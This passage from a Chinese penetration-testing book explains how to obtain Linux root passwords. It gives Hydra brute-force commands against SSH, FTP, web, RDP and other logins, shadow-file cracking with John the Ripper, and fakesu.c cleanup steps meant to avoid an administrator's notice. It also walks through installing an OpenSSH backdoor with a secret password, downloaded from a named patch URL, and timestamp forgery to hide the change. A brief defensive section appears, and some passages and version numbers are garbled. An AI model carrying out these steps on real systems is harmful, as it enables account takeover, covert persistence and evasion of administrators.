根据fakesu.c程序中设置的密码记录文件可知，在本例中记录的文件为“/var/tmp/.pwds”。该文件默认为隐藏属性，可以直接通过命令“cat /var/tmp/.pwds”查看，如图2-4所示，记录的root用户的密码为“simeon”。

图2-4 获取root用户的密码

05 删除安装文件

当fakesu.c程序成功记录root用户的密码后，需要删除安装的程序文件，否则时间久了容易引起管理员的警觉。可以使用以下命令删除程序文件。

rm -rf /var/tmp/.su
cp  .wgetrb .bash_profile
rm -rf .wgetrc
rm -rf /var/tmp/.pwds

”中的内容是错误猜解的返回信息提示。

2.2 暴力破解工具Hydra

Hydra是世界顶级的密码暴力破解工具，支持几乎所有协议的在线密码破解，功能强大，密码能否被破解的关键取决于破解字典是否足够强大。在网络安全渗透过程中，Hydra是一款必备的测试工具，配合社工库进行社会工程学攻击，有时会获得意想不到的效果。

2.2.1 Hydra简介

Hydra是著名黑客组织thc开发的一款开源的暴力密码破解工具，可以在线破解多种密码，目前已经被Backtrack和kali等渗透平台收录。除了命令行下的Hydra外，还提供了Hydra-GTK版本（有图形界面的Hydra），其官方网站是http://www.thc.org/thc- hydra。

Hydra的最新版本为Hydra 7.6，下载地址为http://www.thc.org/releases/hydra- 7.6.tar.gz，它支持AFP、Cisco AAA、Cisco auth、Cisco enable、CVS、Firebird、FTP、uHTTP-FORM-GET、HTTP-FORM- POST、HTTP-GET、HTTP-HEAD、HTTP-PROXY、HTTPS-FORM-GET、HTTPS-FORM-POST、HTTPS-GET、HTTPS-HEAD、HTTP-Proxy、ICQ、IMAP、IRC、LDAP、MS-SQL、MySQL、NCP、NNTP、Oracle Listener、Oracle SID、Oracle、PC-Anywhere、PCNFS、POP3、POSTGRES、RDP、Rexec、Rlogin、Rsh、SAP/R3、SIP、SMB、SMTP、SMTP Enum、SNMP、SOCKS5、SSH（v1和v2）、Subversion、Teamspeak（TS2）、Telnet、VMware-Auth、VNC、XMPP等类型密码的破解。

2.2.2 Hydra的安装与使用

Hydra可以在Debian和Ubuntu等环境下安装和使用。

1.在Debian和Ubuntu环境下安装Hydra

如果是Debian和Ubuntu发行版，会自带Hydra，可直接使用apt-get命令在线安装，命令如下。

sudo apt-get install libssl-dev libssh-dev libidn11-dev libpcre3-dev
libgtk2.0-dev libmysqlclient-dev libpq-dev libsvn-dev firebird2.1-dev
libncp-dev hydra

如果要使用Redhat/Fedora发行版的源码包编译安装，需要先安装相关依赖包，命令如下。

yum install openssl-devel pcre-devel ncpfs-devel postgresql-devel
libssh-devel subversion-devel

2.安装CentOS

CentOS的安装命令如下。

# tar zxvf hydra-7.6-src.tar.gz
# cd hydra-6.0-src
# ./configure
# make
# make install

3.使用Hydra

BT5和kali都默认安装了Hydra。在kali中，依次单击“kali Linux”→“Password Attacks”→“Online Attacks”→“hydra”选项即可打开Hydra。在CentOS终端中，输入命令“/usr/local/bin/hydra”即可打开该暴力破解工具。除此之外，还可以通过“hydra-wizard.sh”命令进行向导式设置来密码破解，如图2-5所示。

图2-5 使用hydra-wizard.sh进行密码破解

4.安装libssh

如果不安装libssh，运行Hydra破解账号时会出现错误。如图2-6所示，显示错误提示信息“[ERROR] Compiled without LIBSSH v0.4.x support, module is not available!”。在CentOS下运行如下命令即可解决此问题。

yum install cmake
wget http://www.libssh.org/files/0.4/libssh-0.4.8.tar.gz
tar zxf libssh-0.4.8.tar.gz
cd libssh-0.4.8
mkdir build
cd build
cmake -DCMAKE_INSTALL_PREFIX=/usr -DCMAKE_BUILD_TYPE=Debug -DWITH_SSH1=ON ..
make
make install
cd /test/ssh/hydra-7.6    //此为下载Hydar并解压的目录
make clean
./configure
make
make install

图2-6 libssh模块缺少错误

5.Hydra参数详细说明

Hydra命令示例如下。

hydra [[[-l LOGIN|-L FILE] [-p PASS|-P FILE]] | [-C FILE]] [-e nsr] [-o FILE]
[-t TASKS] [-M FILE [-T TASKS]] [-w TIME] [-W TIME] [-f] [-s PORT] [-x
MIN:MAX:CHARSET] [-SuvV46] [service://server[:PORT][/OPT]]

-l LOGIN：指定破解的用户名称，对特定用户破解。

-L FILE：从文件中加载用户名进行破解。

-p PASS：小写字母“p”，指定密码破解，少用，一般采用密码字典。

-P FILE：大写字母“P”，指定密码字典。

-C FILE：使用冒号分割格式，如“登录名:密码”代替“-L”和“-P”参数。

-e nsr：可选选项，“n”表示空密码试探，“s”表示使用指定用户和密码试探。

-t TASKS：同时运行的连接的线程数，每一台主机默认为16。

-M FILE：指定服务器目标列表文件为每行1条。

-w TIME：设置最大超时时间，单位为秒，默认为30秒。

-o FILE：指定结果输出文件。

-f：在使用“-M”参数以后，在找到第1对登录名或者密码时中止破解。

-v / -V：显示详细过程。

-R：继续上一次破解。

-S：采用SSL链接。

-s PORT：可通过这个参数指定非默认端口。

-U：服务模块使用细节。

-h：更多的命令行选项（完整的帮助文档）。

server：目标服务器名称或者IP地址（使用此选项或“-M”选项）。

service：指定服务名，支持的服务和协议包括Telnet、FTP、POP3[-ntlm]、IMAP[-ntlm]、SMB、SMB NT、http[s]-{head|get}、http-{get|post}-form、http-proxy、Cisco、Cisco-Enable、VNC、LDAP2、LDAP3、MSSQL、MySQL、Oracle-Listener、Postgres、NNTP、Socks5、REXEC、Rlogin、PCNFS、SNMP、RSH、CVS、SVN、ICQ、SAPR3、SSH2、SMTP-Auth[-ntlm]、pcAnywhere、TeamSpeak、SIP、Vmauthd、Firebird、NCP、AFP等。

OPT：一些服务模块支持额外的输入（“-U”选项用于获取模块的帮助信息）。

2.2.3 Hydra使用实例

本节给出Hydra的用法实例。

1.破解SSH账号

破解SSH账号有两种方式，一种是指定账号破解，另一种是指定用户列表破解，命令如下。

hydra -l 用户名 -p 密码字典 -t 线程 -vV -e ns ip ssh

例如，输入命令“hydra -l root -P pwd2.dic -t 1 -vV -e ns 192.168.44.139 ssh”，对IP地址为192.168.44.139的root账号密码进行破解，如图2-7所示，破解成功后显示其详细信息。

输入命令“hydra -l root -P pwd2.dic -t 1 -vV -e ns -o save.log 192.168.44.139 ssh”，将扫描结果保存在save.log文件中，使用“cat save.log”命令查看扫描结果，如图2-8所示。

图2-7 破解SSH账号

图2-8 查看破解日志

2.破解FTP账号

（1）破解指定用户名密码

hydra ip ftp -l 用户名 -P 密码字典 -t 线程(默认16) -vV
hydra ip ftp -l 用户名 -P 密码字典 -e ns -vV

（2）批量破解FTP账号和密码

hydra -L list_user -P list_password 192.168.56.101 ftp -V

对FTP服务器（192.168.56.101）进行密码破解，如图2-9所示。

图2-9 对FTP密码进行破解

3.GET方式提交，破解Web登录

hydra -l 用户名 -p 密码字典 -t 线程 -vV -e ns ip http-get /admin/
hydra -l 用户名 -p 密码字典 -t 线程 -vV -e ns -f ip http-get /admin/index.php

4.POST方式提交，破解Web登录

（1）hydra -l 用户名 -P 密码字典 -s 80 ip http-post-form "/admin/login.php: username= ^USER^ &password=^PASS^&submit=login:sorry password"

hydra  -L list_user -P list_password 192.168.0.115 http-post-form
"member.php?mod=logging&amp;action=login&amp;loginsubmit=yes&amp;infloat=yes&amp;lssubmi
t=yes&amp;inajax=1:fastloginfield=username&amp;username=^USER^&amp;password=^PASS^&amp;q
uickforward=yes&amp;handlekey=ls:Login failed" –V

以上示例表示对192.168.0.115进行破解，需要定义登录的URL，以及设置登录验证和错误登录标记，效果如图2-10所示。

图2-10 对HTTP进行暴力破解

member.php?mod=logging&amp;action=login&amp;loginsubmit=yes&amp;infloat=yes&amp;lssubmit
=yes&amp;inajax=1
fastloginfield=username&amp;username=^USER^&amp;password=^PASS^&amp;quickforward=yes
&amp;handlekey=ls
Login failed

（2）对admin密码进行破解

hydra -t 3 -l admin -P pass.txt -o out.txt -f 192.168.0.115 http-post-form
"login.php:id=^USER^&amp;passwd=^PASS^:<title>wrong username or password</title>"

“-t”表示同时线程数为3；“-l”表示用户名是“admin”，字典为pass.txt，保存为out.txt；“-f”表示破解1个密码就停止；“192.168.0.115”表示目标IP地址；“http-post-form”表示采用HTTP的POST方式提交表单密码破解；“；“<title>”中的内容是错误猜解的返 回信息提示。

5.破解HTTPS

hydra -m /index.php -l muts -P pass.txt 192.168.0.115 https

6.破解teamspeak

hydra -l 用户名 -P 密码字典 -s 端口号 -vV ip teamspeak

7.破解Cisco

hydra -P pass.txt 192.168.0.115 cisco
hydra -m cloud -P pass.txt 192.168.0.115 cisco-enable

8.破解SMB

hydra -l administrator -P pass.txt 192.168.0.115 smb

9.破解POP3

hydra -l muts -P pass.txt my.pop3.mail pop3

10.破解远程终端账号

（1）破解管理员账号

hydra ip rdp -l administrator -P pass.txt -V

（2）批量破解账号

hydra -s 3389 192.168.44.138 rdp -L user.txt  -P pwd.txt –V

破解效果如图2-11所示。

图2-11 破解3389账号

11.破解HTTP-Proxy

hydra -l admin -P pass.txt http-proxy://192.168.0.115

12.破解IMAP

hydra -L user.txt -p secret 192.168.0.115 imap PLAIN
hydra -C defaults.txt -6 imap://[fe80::2c:31ff:fe12:ac11]:143/PLAIN

参考文章

http://resources.infosecinstitute.com/online-dictionary-attack-with-hydra/

http://www.aldeid.com/wiki/Thc-hydra#Install_Hydra

2.3 Linux操作系统root账号密码的获取

Linux操作系统由于其开源性、低成本等特点，在商业上运用越来越多，很多公司都采用LAMP（Linux+Apache+MySQL+PHP）典型架构。相对于Windows操作系统的密码获取技术而言，Linux的密码获取比较困难。在Windows中，不论设置多么复杂的密码，都可以通过彩虹表、键盘记录、mimikatz_trunk域名注入获取密码等技术获取包括Windows 2008 Server在内的所有操作系统密码。但在Linux操作系统中，如果设置一个非常复杂的密码，破解成功的几率相对较低。在获得网站WebShell权限的前提下，通过提权等方法可以获得系统权限，通过查看“/etc/shadow”文件的内容可以获取Linux操作系统的用户名和加密密码，但获取最高权限root用户的密码就比较困难。直接添加账号容易被发现，所以获取root账号的密码非常有必要。

本节的主要研究内容包括：使用普通用户权限记录root密码，使用SSH后门方法记录root密码，安装Rootkit后门程序记录root账号密码，通过John工具破解shadow密码，使用Sulog后门记录SU密码。

2.3.1 Linux密码的构成

在Linux系统中，涉及系统登录密码的重要文件有两个，分别是“/etc/passwd”和“/etc/shadow”，第1个文件记录用户信息，第2个文件真正保存用户密码信息。在“/etc/passwd”文件中，每一行表示一个用户的信息，一行有7个段位，每个段位用冒号分割。下面给出一个Linux系统中的“/etc/passwd”文件的两行，其格式为“username:x: UID:GID:username full:username home:shell type”。

第1字段：用户名（也称为登录名）。

第2字段：口令，显示为x，表示其实密码已被映射到“/etc/shadow”文件中。

第3字段：UID。

第4字段：GID。

第5字段：用户名全称，这是可选的，可以不设置。

第6字段：用户的根目录所在位置。

第7字段：用户所用Shell的类型，常见为“/bin/bash”。

“/etc/shadow”文件是“/etc/passwd”的影子文件，这个文件并不是由“/etc/passwd”产生的，这两个文件应该是对应互补的。shadow的内容包括用户名及被加密的密码，以及其他“/etc/passwd”文件中不能包括的信息，如用户的有效期限等。这个文件只有root权限可以读取和操作。“/etc/shadow”文件的内容包括9个段位，每个段位之间用冒号分割。通过研究发现，即使两个账号的密码相同，其密码加密值也不一样。各个字段的含义如下。

第1字段：用户名（也称为登录名），“/etc/shadow”文件中的用户名和“/etc/passwd”文件中的用户名是相同的，这样就把passwd和shadow中使用的用户记录联系在一起，这个字段是非空的。

第2字段：密码（已被加密）。如果有些用户在这个字段是x，表示这个用户不能登录系统。这个字段是非空的。

第3字段：上次修改口令的时间。这个时间是从1970年1月1日起到最近一次修改口令的时间间隔（以天为单位）。用户可以通过passwd命令来修改用户的密码，然后查看“/etc/shadow”文件中此字段的变化。

第4字段：两次修改口令的最短间隔天数，也就是说，用户必须经过多少天才能修改其口令，如果设置为0则禁用此功能。此项功能的用处不是太大，默认值是从“/etc/login.defs”文件定义中获取的，PASS_MIN_DAYS中有定义。

第5字段：两次修改口令的最长间隔天数。该功能能够增强管理员管理用户口令的时效性，即增强系统的安全性。系统默认值是在添加用户时从“/etc/login.defs”文件的定义中获取的，在PASS_MAX_DAYS中定义。

第6字段：设置提前多少天警告用户口令将过期。当用户登录系统后，系统登录程序提醒用户口令将要作废。系统默认值在添加用户时从“/etc/login.defs”文件的定义中获取，在PASS_WARN_AGE中定义。

第7字段：口令过期之后多少天禁用此用户。此字段表示用户口令作废多少天后系统会禁用此用户，也就是说，系统不再让此用户登录，也不会提示用户过期，而是完全禁用。

第8字段：用户过期日期。此字段指定了用户作废的天数（从1970年1月1日开始的天数），如果这个字段的值为空，则账号永久可用。

第9字段：保留字段，目前为空，以备将来Linux发展之用。

某系统root账号在“etc/shadow”文件中的表现方式为“root:$1$kbIAhX/ R$PiLL1U.n6bivtIr4oTi2y0:15377:0:99999:7:::”。

2.3.2 Linux密码文件的位置

绝大部分Linux操作系统的密码文件名称为shadow，但也有一些特殊的Linux/UNIX操作系统的密码文件名称为passwd，而且密码文件所在位置也不一样。下面是一些常见Linux系统的密码文件位置。

Linux：/etc/shadow。

SystemV Release 4.2：/etc/security。

SystemV Release 4.0：/etc/shadow。

SunOS 5.0：/etc/shadow。

SCO UNIX：/tcb/auth/files/。

OSF/1：/etc/passwd。

HP-UX：/.secure/etc/passwd。

BSD 4.x：/etc/master.passwd。

AIX3：/etc/security/passwd。

IRIX5：/etc/shadow。

2.3.3 Linux系统采用的加密算法

下面介绍Linux系统采用的加密算法。

1.查看密码的加密算法

Linux账户的密码加密后存放于“/etc/shadow”文件中。Linux操作系统的密码采用的加密方式，取决于“/etc/pam.d/system-auth”或者“/etc/pam.d/passwd”文件中的定义，通过“more/etc/pam.d/ system-auth”或者“authconfig --test | grep hashing”命令可以获取操作系统使用的加密算法，目前有SHA-256、SHA-512和MD5加密算法。

在Red Hat Enterprise Linux Server中，可以通过“authconfig --test | grep hashing”命令获取当前系统账号的密码加密算法，如图2-12所示。

图2-12 获取Red Hat Enterprise Linux Server系统账号的加密算法

2.Linux/UNIX采用5种加密算法

Linux/UNIX操作系统目前采用5种加密算法，可以通过加密后的密码值来识别，主要是通过账号后面的$X进行判断。$1表示MD5加密算法，$2表示使用Blowfish加密算法，$5表示使用SHA-256加密算法，$6表示使用SHA-512加密算法，其余为标准的DES。例如，“root:$1$kbIAhX/R$PiLL1U.n6bivtIr4oTi2y0:15377:0:99999:7:::”的加密算法为MD5。

3.Linux密码操作

对于Linux密码操作，主要有增加、删除和修改，第一次添加用户时需要设定一个密码，修改密码使用“passwd”，删除用户时系统将自动删除设置的密码。读取密码加密文件的用户必须具备root权限，通过“cat /etc/shadow”命令可以读取shadow文件的内容。

2.3.4 获取Linux root密码的方法

Linux Root账号和密码的获取方法主要有4种，分别是键盘记录、嗅探、替换关键程序及暴力破解。目前没有非常完美的密码获取方法。

1.键盘记录获取法

根据操作系统内核版本，编译一个修改过的SSH或者内核键盘记录软件，早期的键盘记录软件有Keylogger、Keylog等。在root账号下通过编译键盘记录程序或者执行编译好的键盘记录程序，当root用户登录时，程序自动捕获root账号输入的密码。此方法需要有root权限，但可以做得极为隐秘。例如，使用内核键盘记录功能增加模块隐藏、文件隐藏、链接隐藏等功能，以增强程序的隐秘性。

2.嗅探

在Windows操作系统中可以使用Cain嗅探FTP、POP3、SSH等应用程序的登录口令，在Linux中可以使用Dsniff嗅探root账号的登录口令。通过在相同网段中的被控机器上发送ARP欺骗数据包，将目标机器的流量导入被控主机，并分析其密码（如FTP、SSH）。如果被控服务器是Linux服务器，目前通过开源软件比较难抓取SSH的密码（需要进行中间人攻击，Dsniff不具备中间人攻击的能力，而Windows下的Cain已实现伪造证书进行中间人攻击），所以，可以变通地通过抓取其他服务的密码获取root密码，如FTP、SMB。Linux中FTP通常使用操作系统认证，抓取FTP密码就等于抓取了系统的密码。

3.替换关键程序法

目前有两种方法，一种是网上使用的fakesu.c程序，另一种是获取root权限后替换SU程序。

（1）fakesu.c程序法

网上使用的kpr-fakesu.c（简称fakesu.c）程序由koper（koper@linuxmail.org）开发，程序最新版本为V0.9beta167。该程序是在WebShell权限或者拥有普通账号的权限下，通过修改该程序中的配置文件，当前用户使用SU命令时，捕获具有root账号权限的密码，如图2-13所示。该程序可以将密码发送到指定邮箱，也可以在本地生成文件，但这个方法的所有内容都是伪造的，所以有明显的缺点，具体如下。

图2-13 通过fakesu.c 程序获取root账号的密码

密码提示和鉴权结果与实际系统的不一致，容易被发现。

由于程序鉴权过程是伪造的，所以，无论输入的密码是否正确，都会将结果发送到指定的电子邮箱。

成功记录密码后会删除 .bash_profile文件。该文件被删除后会出现一些异常。 通过研究该程序，笔者进行了如下优化。

根据语义环境定义密码提示信息，通过测试实际环境获取其“真实”的SU密码输入错误的提示信息。

修改程序中存在的缺陷，在获取密码后还原最初的环境。

（2）替换SU程序法

获取root权限后，通过替换SU程序来获得root密码。该方法通过提取SU的源程序重新编译SU，效果较好，且不容易被发现。该方法的前提是必须获取root权限。

2.3.5 暴力破解法

下面我们专门讨论暴力破解法。

1.在线网站破解法

通过提权或者其他方法获取root权限后，通过查看“/etc/shadow”文件的内容，将加密的密文提取出来，访问cmd5网站进行破解。需要注意的是，提取的密文为第2字段，如“root:$1$kbIAhX/R$PiLL1U.n6bivtIr4oTi2y0:15377:0:99999:7:::”中的密文为“$1$kbIAhX/R$PiLL1U.n6bivtIr4oTi2y0”，将其放入cmd5网站进行破解即可，如图2-14所示。使用该方法可以破解简单的密码，对于高强度的密码，该网站基本无能为力。

图2-14 通过cmd5网站在线破解Linux密码

2.John软件破解法

John the Ripper Password Cracker（简称“John”）是一款Linux专用密码破解工具，网站地址为http://www.openwall.com/john/。目前该软件的最新版本为1.9.7。可以通过John暴力密码破解工具进行密码破解，方法和步骤如下。

01 tar zxvf john-1.7.9.tar.gz。

02 cd src。

03 make。

04 make clean generic（或者make clean SYSTEM）。

05 cd run。

06 ./unshadow /etc/passwd /etc/shadow >passwd.txt。

07 chmod 600 passwd.txt。

08 ./john passwd.txt。

09 ./john -show passwd.txt。

3.SSH暴力破解

Secure Shell（缩写为“SSH”）由IETF的网络工作小组（Network Working Group）制定。SSH是一项创建在应用层和传输层基础上的安全协议，为计算机上的Shell（壳层）提供安全的传输和使用环境。SSH是目前较可靠的、专为远程登录会话和其他网络服务提供安全性的协议。利用SSH协议可以有效防止远程管理过程中的信息泄露问题。通过SSH可以对所有传输的数据进行加密，也能够防止DNS欺骗和IP地址欺骗。SSH是Linux下最常见的一个服务，绝大多数操作系统安装后都会配置该服务。通过连接SSH服务远程管理计算机，其默认端口为22。Freebuf网站投稿者H3lvin的研究表明，10年前，一台服务器放在网络上，大概数周的时间才会被黑客光顾，而现在，一台服务器在网络中几个小时之内就会有黑客尝试攻击，且SSH暴力破解攻击经久不衰。

目前，SSH暴力破解主要有两种方式：一种是专业暴力破解软件；另一种是通过Python等语言编写的脚本暴力破解程序。常见的专业暴力破解软件有thc-hydra和relaxscan。thc-hydra的最早版本为7.6（下载地址为https://www.thc.org/thc-hydra/），是一款著名的暴力破解工具，其常见SSH暴力破解命令为“hydra -l root -P /home/Linux/ passwd.dic -e ns -f -vV target_ip ssh2”。Relaxscan是专门针对SSH账号进行暴力的工具，linuxfly网站提供了该程序的详细使用方法。SSH账号脚本暴力工具通过编程模拟实际登录进行暴力破解，常见的有theRandy撰写的SSH暴力破解程序，在Linux下通过执行“python sshCommand2.py -H 10.10.1.36 -u root -F dictionary. txt”命令对IP地址为10.10.1.36的服务器的root账号进行密码暴力破解。Google支持多协议破解工具脚本项目“patator”，该脚本程序也支持SSH账号暴力破解。

2.3.6 Linux root账号密码破解防范技术

针对可能出现的获取Linux root账号的技术，可以通过安全防范技术和安全规范等进行防范，本节给出一些可供参考的方法和策略。

1.安全技术防范

（1）设置强健的账号密码安全策略

针对获取shadow值后进行密码破解，可以采取对系统普通账号和root账号设置强健的密码安全策略，定期执行安全检测和维护的方法来防范。密码位数至少10位以上，包含大小写字母、数字和特殊字符。对服务器文件读写进行监控，日志文件异地安全保存。

（2）定期升级系统补丁和应用程序补丁

对高风险业务程序做降权处理，尽量以低权限运行，如JBoss和Structs等，确保即使出现高危漏洞也不会危及root权限。及时更新系统补丁和应用程序补丁，关注安全业界高危漏洞，防范通过Web应用程序漏洞直接获取root权限。

（3）定期对系统进行Rootkit专用检测

针对Rootkit程序可以通过Rootkit检测程序来防范，互联网上有Rootkit Hunter和Chkrootkit两款开源软件，可以检测绝大部分已知的Rootkit、嗅探和后门程序。

2.SSH账号防暴力破解

有关防范SSH账号被暴力破解，网上已经有很多方法，如修改SSH默认端口、采用RSA公钥认证、使用IPTables脚本、使用SSHD日志过滤、使用tcp_wrappers过滤及使用knockd等方法。

3.建立完善的入侵应急响应制度

对重点系统和重要系统定期聘请专业安全公司进行系统风险评估和安全检测，发现系统存在的漏洞和弱点，针对这些弱点和漏洞进行改进。同时，建立入侵应急响应制度，针对各种可能出现的入侵情况，建立相应的处理措施。

2.3.7 小结

本节介绍了Linux密码的基本原理，以及常见的4种获取Linux root密码的方法，最后针对这些可能获取Linux root账号的方法给出了安全防范技术和防范策略。通过这些安全技术和策略，可以大大降低系统被攻击后丢失最高root账号权限的风险，对Linux操作系统的安全维护和检测具有一定的参考价值。

2.4 安全设置Linux操作系统的密码

在早期的Linux操作系统中，“/etc/passwd”文件包含系统中每个用户的信息。用户的口令虽然经过一定的数字和逻辑算法后作为一个运算结果（可见字符串）被放到passwd文件中，但加密强度并不大。于是，早期的黑客只要拿到“/etc/passwd”文件，就意味着系统已经攻破一半了。后来，随着安全级别的提高，出现了将passwd文件中的口令单独加密的情况，加密后的结果和其他辅助信息存储在shadow文件中。至于采用何种保存形式和加密算法，可以通过 /usr/sbin/authconfig程序设置。用户登录时输入的口令经计算后与“/etc/passwd”和“/etc/shadow”中的结果进行比较，符合则允许登录，否则拒绝登录。

一个强壮、有效的口令应当至少包含8个字符。不要使用个人信息（如生日、名字、用户名、电话号码等）作为口令，计算机型号等尽量不要出现在密码中，普通的英语单词也不适合作为口令（因为可以采用字典攻击法）。口令中最好有一些非字母字符（如数字、标点符号、控制字符等），尽量不要将口令写在纸上或存放在计算机文件中。设置口令的一个好方法是将不相关的字母和数字或控制字符相连，长度不少于8位。

2.4.1 修改login.defs中的参数

为了强制用户指定足够强壮的密码，需要修改“/etc/login.defs”文件的PASS_ MIN_LEN参数（口令最小长度）。同时，应限制口令的使用时间，保证定期更换口令，建议修改PASS_MIN_DAYS参数（口令使用时间）。login.defs文件的参数设置如图2-15所示。

图2-15 login.defs文件的参数设置

2.4.2 设置加密算法

Linux账户的密码加密后存放于“/etc/shadow”文件中。Red Hat Enterprise Linux默认使用MD5算法，但目前这个算法已经很不安全了。很多经典的黑客教程给出的方法都是拿到shadow文件后破解root用户的密码，如果能用更难破解的SHA算法加密密码无疑可以提高服务器的安全性。

以下方法综合了http://www.cyberciti.biz/faq/rhel-centos-fedora-linux-upgrading-password-hashing/和http://kbase.redhat.com/faq/docs/DOC-15806两篇文章的内容，且针对Red Hat Enterprise Linux 5.2以上版本。

显示当前密码加密算法，代码如下，输出“password hashing algorithm is md5”。

# authconfig --test | grep hashing

设置使用SHA512算法，代码如下。

# authconfig --passalgo=SHA512 --update

在笔者的Red Hat Enterprise Linux 5.3中，提示“unknown algorithm sha512”，使用了SHA512算法，原因不明。再次显示，就更改为SHA256算法。

最后，对所有用户都需要重新设置密码才能生效。可以使用“# chage -d 0 userName”命令强制所有用户在下次登录时修改密码。

在笔者使用的Arch Linux中，设置方法与以上稍有不同，具体如下（参考了http:// wiki.archlinux.org/index.php/SHA_Passwords的内容）。

修改“/etc/pam.d/passwd”文件，代码如下。

#%PAM-1.0
#password  required pam_cracklib.so difok=2 minlen=8 dcredit=2 ocredit=2
retry=3
#password  required pam_unix.so md5 shadow use_authtok
password required pam_unix.so md5 shadow nullok

把最后一行的md5值用SHA256算法替换。

然后，修改“/etc/default/passwd”文件，将“CRYPT=des”修改为“CRYPT=sha256”。最后，强制所有用户重新修改密码。

2.4.3 破解Linux密码

Linux使用的是DES（加密函数式是Crypt）或MD5（函数式是Md）加密算法，由于计算量非常大，所以很难被逆向或破解。DES口令的密文是由13个ASCII字符组成的字符串，而MD5口令密文的起始字符总是“$1$”。

如图2-16所示是一个被攻陷的红帽系列的Linux操作系统，入侵者远程溢出服务器后获得了一个root权限的登录界面。

图2-16 被入侵的Linux操作系统

如何获取root用户的密码呢？入侵者打开了“/etc/passwd”文件，如图2-17所示。

图2-17 查看etc/passwd文件

看来，主机的账户使用了shadow加密。继续查看“/etc/shadow”文件，如图2-18所示，“root”行的冒号后面就是加密后的密码。

图2-18 获取加密的密码字符串

现在就可以开始破解了。

破解Linux口令的工具很多，如John the Ripper、Crack by Alex Muffett和Cracker Jack等，其中John the Ripper的功能最为强大，速度也最快。

将“/etc/shadow”文件下载到本地，先使用John the Ripper的简单模式尝试一下，但没有得到结果，如图2-19所示。

图2-19 使用John the Ripper破解密码

加载一个字典，看看情况。这里使用“-w=1.txt”命令指定字典文件。很快，root密码被破解了，结果是“bigapple”，如图2-20所示。

图2-20 成功破解密码

2.5 Linux OpenSSH后门获取root密码

相对于Windows操作系统，Linux操作系统的密码较难获取，而很多Linux服务器都配置了OpenSSH服务。在获取root权限的情况下，可以通过修改或者更新OpenSSH代码等方法，截取并保存其SSH登录账号和密码，甚至可以留下一个隐形的后门，达到长期控制Linux服务器的目的。很多入侵者在攻破一个Linux系统后，都会在系统中留下后门，用OpenSSH留后门是入侵者的惯用方式之一。OpenSSH后门比较难检测，本节将对如何添加及防范OpenSSH后门进行探讨。

2.5.1 OpenSSH简介

OpenSSH是SSH（Secure Shell）协议的免费开源实现。很多人误认为OpenSSH与OpenSSL有关联，但实际上这两个计划有不同的目的和不同的发展团队，名称相近只是因为两者有同样的发展目标──提供开放源代码的加密通信软件。

OpenSSH是OpenBSD的子计划，其官方网站地址为http://www.openssh.com/。OpenSSH的各个版本可以到其官网下载。另外笔者推荐一个下载地址：http://ftp5.eu. openbsd.org/ ftp/pub/OpenBSD/OpenSSH/。

SSH协议族可以用来进行远程控制，或者在计算机之间传送文件。而实现此功能的传统方式，如Telnet（终端仿真协议）、RCP、FTP、Rlogin、RSH，都是极不安全的，并且会使用明文传送密码。OpenSSH提供了服务端后台程序和客户端工具，用来加密远程控件和文件传输过程中的数据，并由此来代替原来的类似服务。OpenSSH是通过计算机网络使用SSH加密通信的实现，是取代由SSH Communications Security提供的商用版本的开放源代码方案。在OpenSSH服务中，sshd是一个典型的独立守护进程，OpenSSH服务可以通过“/etc/ssh/sshd_config”文件进行配置。OpenSSH支持SSH协议的1.3、1.5和2版本。自OpenSSH 2.9发布以来，默认的协议是版本2。

2.5.2 准备工作

01 下载openssh-5.9p1.tar.gz

openssh-5.9p1.tar.gz的下载地址为http://down1.chinaunix.net/distfiles/openssh-5.9p1.tar.gz。

02 下载后门文件

后门文件下载地址为http://core.ipsecs.com/rootkit/patch-to-hack/0x06-openssh-5.9p1. patch.tar.gz。

03 准备Linux虚拟机

准备Linux虚拟机Centos 6.4。

04 查看SSH当前版本信息

目前网上支持的SSH后门版本为5.9以下。如图2-21所示，使用“ssh -V”命令获取的OpenSSH版本信息为“OpenSSH_5.3p1, OpenSSL 1.0.0-fips 29 Mar 2010”。笔者未对高于5.9版本的SSH进行测试，但因为在Patch中可以直接修改banner的值，所以这在理论上是可行的。

图2-21 查看SSH的当前版本信息

注意

一定要将这里的版本号记录下来，以便在编译时将该信息进行伪装。

05 备份SSH原始配置文件

如图2-22所示，将ssh_config和sshd_config分别备份为ssh_config.old和sshd_config.old。在Linux终端分别执行如下文件备份命令。

图2-22 备份SSH原始配置文件

mv /etc/ssh/ssh_config /etc/ssh/ssh_config.old

mv /etc/ssh/sshd_config /etc/ssh/sshd_config.old

06 解压SSH后门

将sshbd.tgz下载到本地并解压，如图2-23所示，执行以下命令。

tar zxvf sshbd.tgz
cd openssh

图2-23 下载并解压SSH后门

如果使用官方安装包openssh-5.9p1进行安装，可以执行以下命令。

tar zxf openssh-5.9p1.tar
tar zxf openssh-5.9p1.path.tar
cp openssh-5.9p1.patch/sshbd5.9p1.diff /openssh-5.9p1
cd openssh-5.9p1
patch < sshbd5.9p1.diff

2.5.3 设置SSH后门的登录密码及其密码记录位置

在OpenSSH目录中找到includes.h文件，运行“vi includes.h”命令修改“define _SECRET_PASSWD”为我们的登录密码，如图2-24所示，默认密码记录日志文件保存在“/usr/local/share/0wn”目录下的slog和clog文件中。假设密码为“995430aaa”，代码如下。

define _SECRET_PASSWD  " 995430aaa"

图2-24 修改SSH登录密码

2.5.4 安装并编译后门

01 编译和安装

运行如下代码。

 ./configure –prefix=/usr –sysconfdir=/etc/ssh
 make &amp;&amp; make install

openssh-5.9p1需要使用下面的命令进行配置。

./configure --prefix=/usr --sysconfdir=/etc/ssh --with-pam --with-kerberos5

在编译过程中可能会出现“configure: error: *** zlib.h missing – please install first or check config.log”错误。此时，执行“yum install zlib-devel”和“yum install openssl openssl-devel”命令，安装后再次进行编译即可。

02 重启SSHD服务

执行“/etc/init.d/sshd restart”命令，重启SSHD服务。

03 还原新配置文件为旧配置文件的时间

执行以下命令，使ssh_config和sshd_config文件的修改时间与ssh_config.old和sshd_config.old文件一致。

touch -r  /etc/ssh/ssh_config.old /etc/ssh/ssh_config
touch -r  /etc/ssh/sshd_config.old /etc/ssh/sshd_config

mtime(modify time)：最后一次修改文件或目录的时间。

ctime(chang time)：最后一次改变文件或目录（改变的是原数据，即属性）的时间，如该文件的inode节点被修改的时间。touch命令除了“-d”和“-t”选项外，都会改变该时间。chmod、chown等命令也能改变该值。

atime(access time)：最后一次访问文件或目录的时间。

ls -l file：查看文件修改时间。

ls -lc file：查看文件状态改动时间。

ls -lu file：查看文件访问时间。

stat file：文件时间的3个属性。

2.5.5 登录后门并查看记录的密码文件

